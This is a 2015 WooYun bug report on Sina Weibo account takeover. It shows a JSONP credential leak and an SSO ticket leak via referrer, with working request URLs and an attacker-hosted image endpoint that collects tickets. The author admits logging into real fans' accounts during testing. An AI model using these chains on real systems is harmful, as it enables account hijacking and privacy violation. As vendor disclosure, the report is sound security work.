当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124352

漏洞标题:微博上你点我发的链接我就可以登上你的微博(web版和app端均可两个漏洞一并提交)

相关厂商:新浪

漏洞作者: 呆子不开口

提交时间:2015-07-03 16:23

修复时间:2015-08-17 16:54

公开时间:2015-08-17 16:54

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-03: 细节已通知厂商并且等待厂商处理中
2015-07-03: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向核心白帽子及相关领域专家公开
2015-07-23: 细节向普通白帽子公开
2015-08-02: 细节向实习白帽子公开
2015-08-17: 细节向公众公开

简要描述:

微博上你点我发的链接,我就可以登上你的微博,web版和app端均可,两个漏洞一并提交了

详细说明:

1、web版本的jsonp劫持漏洞:
有jsonp劫持漏洞,未加token保护或referrer防护,导致登陆凭证可以被劫持盗取
请求如下:

http://passport.weibo.com/visitor/visitor?a=restore&cb=?&from=weibo&_rand=0.7968236310407519


返回为:

window.jQuery20004128351090475917_1435908276616 && jQuery20004128351090475917_1435908276616({"retcode":20000000,"msg":"succ","data":{"sub":"_2A254kkjiDeTxGedP6FYQ9yfLy12837j0qrDV8PUNbuNAMLW3bkW-T5Tf4xIGwbw1ENJOXIY7s81RMuA..","subp":"0033Wr111111M725Ws9jqgMF99529P9D9W5Yup4wVFUgexyDVsUXQXzc5JpX5K2t","alt":"ALT-M1111113OTcxMA==-1435908274-ja-8ACAC8646F99BDFA2921F77870850A34","savestate":365}});


里面的返回值alt可以用作登陆凭证,我扶了扶镜框,发现用如下URL可以登陆到目标用户的微博

http://login.sina.com.cn/sso/login.php?entry=sso&alt=ALT-MTEz111111cxMA==-1435908274-ja-8ACAC8646F99BD111111F77870850A34&returntype=META&url=http%3A%2F%2Fweibo.com%2F&gateway=1&savestate=365


里面的sub,subp值应该是认证的cookie值,应该也可以拿来利用
2、微博app版的一些导致登陆凭证被盗的“小漏洞”
当手机端访问如下请求时,系统会把当前sina.com.cn域下的ticket传给参数r中的url,r的值需要是weibo和新浪域

http://passport.weibo.cn/sso/getst?r=http%3A%2F%2Fservice.weibo.com%2Fshare%2Fshare.php%3Furl%3D%26source%3Dbookmark%26title%3D分享网络超时,请重新分享%26appkey%3D%257B-1%257D%26pic%3Dhttp%3A%2F%2F111.111.111.111%2Ftest%2Fimg.php&service=blog


上面的请求会返回302跳转到参数r中的url值,而且会加上一个参数ticket

Location: http://service.weibo.com/share/share.php?url=&source=bookmark&title=分享网络超时,请重新分享&appkey=%7B-1%7D&pic=http://111.111.111.111/test/img.php&ticket=ST-MTEzNDE3OTcxMA==-1435909414-gz-B57537411111111F64108F5B681E7F77


然后我们要做的就是拿到这个url中的参数ticket就可以了
由于是新浪或微博域,不能受我们控制,所以我们可以找一个可以让我们自定义img或者iframe的新浪页面来偷
我扶了扶镜框,发现了一个,是微博分享页面,里面的pic参数可以让我们自定义图片地址

http://service.weibo.com/share/share.php?url=&source=bookmark&title=%E5%88%86%E4%BA%AB%E7%BD%91%E7%BB%9C%E8%B6%85%E6%97%B6%EF%BC%8C%E8%AF%B7%E9%87%8D%E6%96%B0%E5%88%86%E4%BA%AB&appkey=%7B-1%7D&pic=http://192.241.226.89/test/wbimg.php


这样从我们的自定义的图片请求的referrer中拿到这个ticket
然后找一个能接受ticket的页面来帮我们种下sina.com.cn的认证cookie
扶了扶镜框,发现一个

http://c.blog.sina.com.cn/mobilecblog.php?ticket=ST-MTEzNDE3OTcxMA==-1435910399-gz-92197ADE4256E1111112D7A4F3469E3


这个时候还不可以登陆微博,但我扶了扶镜框,发现访问如下url,可以帮我们成功登陆微博

http://login.sina.com.cn/sso/login.php?url=http%3A%2F%2Fweibo.com%2F&_rand=1435226672.7914&gateway=1&service=sinawap&entry=sinawap&useticket=1&returntype=META&_client_version=0.6.11


这一系列的不合理设计的“小漏洞”,让我最终可以登陆进了别人的微博

漏洞证明:

我测试了几天,进了些TFboys粉丝的微博

439a357egw1ethzuyy3uej20eg0futbn.jpg


修复方案:

1.jsonp那个,加token或referrer限制
2.认证传输过程中,尽量不要使用get来传输凭证,很容易被各种方式偷去。你不能保证你的所有域都不往第三方发请求
3.让偷到的ticket尽量不能在其他设备上登陆成功,对用户的一些信息进行签名

版权声明:转载请注明来源 呆子不开口@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-03 16:52

厂商回复:

感谢关注新浪安全,安全问题修复中。

最新状态:

暂无